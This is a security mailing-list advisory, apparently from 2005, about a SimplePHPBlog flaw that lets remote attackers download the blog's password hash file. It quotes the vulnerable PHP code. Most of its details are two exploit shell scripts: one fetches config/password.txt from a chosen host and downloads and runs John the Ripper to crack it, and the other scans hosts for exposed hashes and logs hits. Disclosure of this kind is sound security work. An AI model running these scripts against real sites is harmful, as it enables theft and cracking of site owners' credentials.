[EXPL] SimplePHPBlog Password Disclosure (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

SimplePHPBlog Password Disclosure (Exploit)
------------------------------------------------------------------------

SUMMARY

<http://www.simplephpblog.com/> SimplePHPBlog - "The main advantage of
using <http://www.simplephpblog.com/> Simple PHP Blog is that it only
requires PHP 4 (or greater) and write permission on the server."

A vulnerability in SimplePHPBlog allows remote attackers to cause the
program to disclose its password hash file.

DETAILS

Vulnerable Systems:
* SimplePHPBlog versions 0.4.0 and prior

Vulnerable code:
bash-3.00# cat install02.php
$result = create_folder( 'config' );

bash-3.00# cat sb_login.php
// If there's no password file then need to redirect them.
$passFile = 'config/password.txt';

----------------------------------------------------------------------------------------
function create_password ( $user, $pass ) {
// Generate and store password hash

$mypasswd = $user.$pass;
$hashed = crypt($mypasswd);

// Save File
$filename = 'config/password.txt';
$result = sb_write_file( $filename, $hashed );

----------------------------------------------------------------------------------------

function check_password ( $user, $pass ) {
// Check password against hashed password file

$passFile = 'config/password.txt';
$hashed = sb_read_file( $passFile );

bash-3.00# ls -l `pwd` |grep config
drwxrwxrwx 2 www-data www-data 216 Jul 7 01:13 config

Exploit:
bash-3.00$ cat 0xfuck-phpblog.sh
#!/bin/bash
##################################
#
# 0xfuck-phpblog.sh - SimplePHPBlog Remote Password Disclosure. (for
dummy)
#
# 0xpjply CONFIDENTIAL - SOURCE MATERIALS
#
# This is published proprietary source code of 0xpjply
#
# (C) COPYRIGHT 0xpjply security guru group, 2005
# All Rights Reserved
#
# dummy exploit written by pjphem && infected on July 2005
#
##################################
# contact:
# pjphem && LazyCrs
#
# pjphem@mybox.it && fLazyCrs@GMail.com
#
#Greetz:
#
# You think you know? You have no idea!
# fluffi-
#
#
#
# RAFA FREE
#
##################################
echo ""
echo ""
echo " +++++++++++++++++++++++++++++ "
echo " =: SimplePHPBlog Remote Password Disclosure. - for dummy :=
"
echo " +++++++++++++++++++++++++++++ "
echo ""
echo " c0de by pjphem "
echo ""
echo ""
echo " vulnerabili Simple php blog 0.4.4 <= "
echo ""
echo ""
echo -n "inserisci un hostname: " ; read hostname ;
echo -n "inserisci dir: " ; read dir ;
echo ""
echo "[*] praparando l'ambiente..."
mkdir 0xpjply
cd 0xpjply
echo -t3 "[*] OK!"
echo "[*] Cattura password..."
wget http://$hostname/$dir/config/password.txt
echo "[*] OK!"
echo ""
echo ""
echo "Show password: (md5)"
echo ""
cat password.txt
echo ""
rm -rf password.txt
echo ""
echo -n "Downloading John The Ripper (password decripter) ?? [Y/n] "
read Q
if [ $Q = y ];
then echo "[*] OK!" ; wget [John the RipperURL]/john.tar.gz
else
exit 1;
fi
tar -zxf john.tar.gz
cd john
echo ""
echo "[*] Dowloading password.."
echo ""
wget http://$hostname/$dir/config/password.txt
echo ""
echo "Done!"
echo ""
echo "STARING John for decript password.. enJoy"
/jonh password.txt
echo ""
echo ""

bash-3.00$ cat 0xfuck-phpblog-scanner.sh
#!/bin/bash
#
# Simple tester for phpblog
#
# phpblog 0.4.4 <=
#
####################
echo "host , directory blog: (ex. test.it blog)"
read HOST BLOG
lynx -source http://$HOST/$BLOG/config/password.txt | grep $1$ >> 0wn4bl3
bash-3.00$

ADDITIONAL INFORMATION

The information has been provided by <mailto:pjphem@mybox.it> pjphem.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.